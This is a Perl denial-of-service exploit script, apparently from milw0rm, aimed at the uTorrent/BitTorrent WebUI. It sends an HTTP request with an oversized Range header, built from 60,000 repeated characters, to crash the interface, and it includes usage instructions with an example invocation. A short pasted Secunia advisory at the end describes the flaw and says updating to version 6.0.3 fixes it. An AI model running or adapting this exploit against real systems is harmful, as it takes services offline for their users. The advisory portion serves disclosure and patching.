#!/usr/bin/perl
# uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header Denial of Service exploit
# according to the following advisory: http://secunia.com/advisories/30605
#
# usage: WebUI-dos.pl <url> <port> <user:pass>
# Exploit written by Exodus.
# http://www.blackhat.org.il
use IO::Socket;
use MIME::Base64;
if(@ARGV < 3)
{ &usage; }
($host,$ref) = split(/\//,$ARGV[0]);
$sock = IO::Socket::INET->new(PeerAddr => "$host:$ARGV[1]", Proto =>'TCP') || die("[X]Couldnt connect to host: $host:$ARGV[1]\n");
$buff = "E" x 60000;
$up = encode_base64($ARGV[2]);
chomp($up);
print $sock "GET /gui/common.js HTTP/1.1\r\n".
"Host: $host\r\n".
"Authorization: Basic $up\r\n".
"Range: bytes=$buff\r\n".
"Connection: close\r\n\r\n";
close($sock);
print "[!]Payload sent, WebUI should be down...\n";
sub usage
{
print "usage $0 <url> <port> <user:pass>\n".
"ex: $0 127.0.0.1/gui/common.js 1337 admin:admin\n";
exit;
}
# milw0rm.com [2008-06-23]Alert your users :
Description:
Secunia Research has discovered a vulnerability in BitTorrent, which can be exploited by malicious people to cause a DoS (Denial of Service).
For more information:
SA28703
Successful exploitation requires that the Web UI interface is enabled (not default).
The vulnerability is confirmed in version 6.0.1 (build 7859) on Windows. Other versions may also be affected.
Solution:
Update to version 6.0.3 (the last build).
[url="http://secunia.com/advisories/30605"]http://secunia.com/advisories/30605[/url]